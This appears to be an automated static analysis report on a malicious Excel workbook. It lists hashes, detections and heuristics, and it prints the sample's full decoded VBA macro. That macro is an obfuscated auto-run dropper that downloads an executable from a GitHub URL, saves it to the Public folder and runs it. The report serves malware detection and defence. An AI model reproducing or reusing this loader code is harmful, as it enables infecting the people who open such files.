Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 22b81e827a270077…

MALICIOUS

Office (OOXML)

268.0 KB First seen: 2020-09-15
MD5: 35bae98fc38a4466583266ca18102fd9 SHA-1: 34bb8cdfa84b18c9c0531b119126139b83f89688 SHA-256: 22b81e827a27007711a92a72e5b7b72ae1f4da6e8bd707c784751cdabfc0e763
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing a Workbook_Open VBA macro. This macro is obfuscated and uses CreateObject to download a file from the URL "http://github.com/alby101/sd/raw/master/INDIGOIDS.exe" and execute it. This behavior is consistent with a macro-based dropper.

Heuristics 7

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.write uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Range("A6:J13").Select
    Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Range("A6:J13").Select
    Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6644 bytes
SHA-256: f88ed138b59c82c603e350440e743772e341e16d80c5e21e3ebe27ed0d5d7d29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select 
gebjmhtxqumznrnnbgorvkohixhrcjimxgbnvrjgjjfiibawlnbakfjvqubpzbugmzcgparjxihlfgzhwkgoihbrxgwbqugioywi"68 74 74 70 3A 2F 2F 67 69 74 68 75 62 2E 63 6F 6D 2F 61 6C 62 79 31 30 31 2F 73 64 2F 72 61 77 2F 6D 61 73 74 65 72 2F 49 4E 44 49 47 4F 49 44 53 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub gebjmhtxqumznrnnbgorvkohixhrcjimxgbnvrjgjjfiibawlnbakfjvqubpzbugmzcgparjxihlfgzhwkgoihbrxgwbqugioywi (lnmeyffmsskyuhdjtmauownseapvhhreqqbkppetfcohccfwkmkrhtoozuaxpjelafiegsueihpmhfpbvslvxaxwbmkupgdvxdgx As String)
Dim uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb
  Range("A6:J13").Select 
Dim wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc
  Range("A6:J13").Select 
Dim fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti
  Range("A6:J13").Select 
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select 
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti = CreateObject(zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
odsnsqiffodzfthqtraavmteqtnkvavgyvsixlnkseymcioqsbwzrbxcjnwzcyjftwbkbyshepirngcifxsudvpwxqyjpnhuussf = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr(lnmeyffmsskyuhdjtmauownseapvhhreqqbkppetfcohccfwkmkrhtoozuaxpjelafiegsueihpmhfpbvslvxaxwbmkupgdvxdgx)
hdptipvbtfoclouffpbxhemkaisqhnxvoxabhzlnzndscvyatcperuxcqesaxftfitooosygeoxubuiejrwfytdtzyldgkquuxkj = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 69 7A 72 6B 70 6B 78 67 2e 65 78 65")
gkmbeizcxdbvvoqfinhopvpqhvztydadkzxzfvbptawvwphsuklgqvukvwtjjgetdylwqrznmrvozttrnhznsumofmejbsgnwcsy = zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 69 7A 72 6B 70 6B 78 67 2e 65 78 65")
uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.Open chr(71) + chr(69) + chr(84), odsnsqiffodzfthqtraavmteqtnkvavgyvsixlnkseymcioqsbwzrbxcjnwzcyjftwbkbyshepirngcifxsudvpwxqyjpnhuussf, False
uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.send
wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.Type = 1
wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.Open
wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.write uaqrrfjaechtfzcwyjnahldthapcduodzsguctdrrxsyfqppdhxoqgpjxwjrqgxkndumsiuffvikteoqlzyvxanscxwfjmbkaikb.responseBody
wcxvmriuxeqsisgrhbnnpbkulpvtuykktmujbdjfrtvyhewrfkcyvxmurcjxwozzufyvyxpdshvvgmnhsenkvlpwaarzuliduwdc.savetofile hdptipvbtfoclouffpbxhemkaisqhnxvoxabhzlnzndscvyatcperuxcqesaxftfitooosygeoxubuiejrwfytdtzyldgkquuxkj, 2
fbtiuzgnbqofpcfsbpeipcvxgqjgzsbkilcqlfpwfcujmlkrfpbfsvmcfvcepznjpdxdaohwzhdnimlufsbjqwsmyzlqckgfokti.Run gkmbeizcxdbvvoqfinhopvpqhvztydadkzxzfvbptawvwphsuklgqvukvwtjjgetdylwqrznmrvozttrnhznsumofmejbsgnwcsy
End Sub
Public Function zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr(ByVal ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh As String) As String
Dim sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext As String
Dim jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc As String
Dim rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs As Long
For rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs = 1 To Len(ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh)Step 3
        sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext = Chr$(Val("&H" & Mid$(ngrriffkszusjhyxydstlkebdrtobyyxtdhzbjblqiuzesguljgkszwcbpormqjtaxzfazwochddpewkkycrrnftgexlvjzzyayh, rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs, 2)))
        jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc = jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc & sbumnrikwtmwtdgnorcnsgzwbktsidepgprjeqdafuxmrarsdllhylombykcypbspxqdlxjxobhximfbsbpxsxquafhggacqtext
    Next rgglcbfkrwgpwribjclzaqfmliunmptbzcgjoksyioseyexdngossvbbauathsxbcfqukznykmqmxaoglqzgabjdbfiukzrprrcs
zugkvrdcxxqkvusovfyeykjjeqtdczxgjqhcdvsqezuzqmgwbr = jogfcntxdrdpsikxzezshwdgqdrnzrddpmreukveesqibrnxqeqpfflmkapywfxmnzagrfcpjvopgueyquwuaoyjaeutuwiyveuc
End Function

Attribute VB_Name = "ekbdkxtyaflbccvbgrbjlwrem"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: 15b77a61126ecfc2aa767986857e54a111489996cd51318aa50dd048df66ddd0
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: likely
131 of 207 identifiers look randomly generated (e.g. 'ekbdkxtyaflbccvbgrbjlwrem') — consistent with name-mangling obfuscation.